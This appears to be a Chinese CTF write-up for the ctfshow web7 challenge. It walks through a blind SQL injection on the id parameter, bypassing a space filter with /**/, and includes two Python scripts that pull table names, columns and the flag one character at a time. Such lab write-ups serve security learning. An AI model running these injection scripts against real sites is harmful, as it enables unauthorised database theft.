ctfshow web7

简介: ctfshow web7 wp

题目分析

打开题目后,有三个文章

随便点一个之后发现网址上有个后缀 ?id=2

应该是get传参的注入了

在后缀上加 ?id=1||1 显示全部文章,可能是整形注入,还是盲注

他这个过滤了空格,用/**/代替(详见web6 wp

解题过程

盲注都是一个字一个字对比,很麻烦,所以这里用大佬的脚本做题

import requests
s=requests.session()
url='http://376f6454-37f5-47df-aa98-bfd375f0f8d9.challenge.ctf.show/index.php'
table=""
for i in range(1,45):
    print(i)
    for j in range(31,128):
        #爆表名  flag
        payload = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
        #爆字段名 flag
        #payload = "ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
        #读取flag
        #payload = "ascii(substr((select/**/flag/**/from/**/flag)from/**/%s/**/for/**/1))=%s#"%(str(i), str(j))
        ra = s.get(url=url + '?id=0/**/or/**/' + payload).text
        if 'I asked nothing' in ra:
            table += chr(j)
            print(table)
            break

附上羽师傅的脚本

url = "http://124.156.121.112:28069/?id=-1'/**/"
def db(url):                    #爆库名
    for i in range(1,5):
        for j in range(32,128):
            u= "or/**/ascii(substr(database()/**/from/**/"+str(i)+"/**/for/**/1))="+str(j)+"#"
            s = url+u
            print(s)
            r =  requests.get(s)
            if 'By Rudyard Kipling' in r.text:
                print(chr(j))
def table(url):                    #爆表名
    for i in range(4):
        table_name=''
        for j in range(1,6):
            for k in range(48,128):
                u=id="||/**/ascii(substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/1/**/offset/**/"+str(i)+")/**/from/**/"+str(j)+"/**/for/**/1))="+str(k)+"#"
                s = url+u
                print(s)
                r =  requests.get(s)            
                if 'By Rudyard Kipling' in r.text:
                    table_name+=chr(k)
            print(table_name)


依次跑得数据表,字段名,字段的值

运行了好几次,一直是到这一步就停了,就补充了个反括号去提交flag

竟然通过了

目录
相关文章
|
安全 PHP
ctfshow-萌新-web13( 利用代码执行漏洞获取网站敏感文件)
ctf.show 萌新模块 web13关, 这一关的考点是代码执行漏洞, 需要灵活的运用各种命令执行函数, 源码中过滤了system, exec, highlight函数, cat命令, congfig, php, 点和分号等关键字, 推荐使用反引号`` 进行绕过
409 0
ctfshow-萌新-web13( 利用代码执行漏洞获取网站敏感文件)
ctfshow---萌新---web9
ctfshow---萌新---web9
|
1月前
|
域名解析 Linux PHP
[CTF]ctfshow web入门
[CTF]ctfshow web入门
|
1月前
|
Linux C语言 C++
【ctfshow】命令执行->web45-57
【ctfshow】命令执行->web45-57
75 0
|
1月前
|
PHP
【ctfshow】命令执行->web29-web44
【ctfshow】命令执行->web29-web44
57 0
|
10月前
|
PHP 容器
[ctfshow]击剑杯 web
[ctfshow]击剑杯 web
111 0
|
10月前
|
安全 前端开发 PHP
ctfshow吃瓜杯 web
ctfshow吃瓜杯 web
78 0
|
域名解析 负载均衡 安全
信息收集-(ctfshow web入门-信息收集)
浅浅分享一下信息收集的相关知识点,并借助了ctfshow平台上的题目相解析。
136 1
信息收集-(ctfshow web入门-信息收集)
|
安全 PHP
ctfshow-萌新-web10( 利用命令执行漏洞获取网站敏感信息)
ctf.show 萌新模块 web10关,这一关考察的是命令执行漏洞的利用,闯关者需要知道3个以上PHP命令执行函数的使用,推荐使用 passthru()
227 0
ctfshow-萌新-web10( 利用命令执行漏洞获取网站敏感信息)
|
数据库连接 PHP 数据安全/隐私保护
ctfshow之web(9、10、11、12)
ctfshow之web(9、10、11、12)
137 0
ctfshow之web(9、10、11、12)